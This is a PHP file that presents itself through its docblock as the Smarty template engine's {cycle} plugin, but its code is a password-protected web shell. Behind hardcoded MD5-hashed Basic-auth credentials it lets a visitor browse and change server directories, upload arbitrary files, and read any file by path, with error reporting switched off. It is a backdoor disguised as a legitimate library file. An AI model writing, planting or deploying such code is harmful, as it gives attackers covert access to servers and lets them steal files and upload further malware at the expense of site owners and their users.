<?php
/**
 * Smarty plugin
 *
 * @package Smarty
 * @subpackage PluginsFunction
 */

/**
 * Smarty {cycle} function plugin
 *
 * Type:     function<br>
 * Name:     cycle<br>
 * Date:     May 3, 2002<br>
 * Purpose:  cycle through given values<br>
 * Input:
 *         - name = name of cycle (optional)
 *         - values = comma separated list of values to cycle,
 *                    or an array of values to cycle
 *                    (this can be left out for subsequent calls)
 *         - reset = boolean - resets given var to true
 *         - print = boolean - print var or not. default is true
 *         - advance = boolean - whether or not to advance the cycle
 *         - delimiter = the value delimiter, default is ","
 *         - assign = boolean, assigns to template var instead of
 *                    printed.
 *
 * Examples:<br>
 * <pre>
 * {cycle values="#eeeeee,#d0d0d0d"}
 * {cycle name=row values="one,two,three" reset=true}
 * {cycle name=row}
 * </pre>
 * @link http://smarty.php.net/manual/en/language.function.cycle.php {cycle}
 *       (Smarty online manual)
 * @author Monte Ohrt <monte at ohrt dot com>
 * @author credit to Mark Priatel <mpriatel@rogers.com>
 * @author credit to Gerard <gerard@interfold.com>
 * @author credit to Jason Sweat <jsweat_php@yahoo.com>
 * @version  1.3
 * @param array
 * @param object $template template object
 * @return string|null
 */
$user='16d1a558492edec3ed7775be2942c1cd';
$pass='16d1a558492edec3ed7775be2942c1cd';

if ($_SERVER["PHP_AUTH_USER"] == "" || $_SERVER["PHP_AUTH_PW"] == "" || md5($_SERVER["PHP_AUTH_USER"]) != $user || md5($_SERVER["PHP_AUTH_PW"]) !=$pass) {
    header("HTTP/1.0 401 Unauthorized"); 
    header("WWW-Authenticate: Basic realm=\"eshghi"); 
    echo "<h1>Authorization Required.</h1>"; 
    die();
}else{
error_reporting(0);
set_magic_quotes_runtime(0);
if(strtolower(substr(PHP_OS, 0, 3)) == "win"){$s="\\";
}else{$s="/";
}$ad=$_REQUEST['ad'];
if ($ad){chdir($ad);}else{$ad=getcwd();
}if ($_FILES["ff"]){move_uploaded_file($_FILES["ff"]["tmp_name"], $_FILES["ff"]["name"]);}
if ($hr = opendir($ad)) {while($f = readdir($hr)){if(is_dir($f)){$df=$df.$f.'
';}else{$lf=$lf.$f.'
';}}closedir($hr);
}$form='<form action="'.$_SERVER['PHP_SELF'].'" method=post>';
echo '<center><textarea cols=90 rows=20>';
if($_GET['cme']){opendir($_GET['cme']);
}else{echo $df.$lf;};
echo'</textarea>'.$form.'Change Dir : <input name=ad size=50 value='.getcwd().$s.'>
<input type=submit value=Go></form>'.$form.'Read File : <input name=cme size=50 value=id>
 <input type=submit value=Read!></form>
 <form action="'.$me.'" method=post enctype=multipart/form-data>
 Upload : <input size=50 type=file name=ff > <input type=hidden name=ad value='.getcwd().'>
 <input type=submit value=Send></form><br>';

 if(isset ($_POST['cme'])){
$myFile = $_POST['cme']; 
$fh = fopen($myFile, 'r'); 
if($theData = fread($fh, filesize($myFile))){
fclose($fh); 
echo '<textarea clos=90 rows=20>'.$theData.'</textarea>'; 
}
else{
echo "File Could Not Found!!";
}}}

?>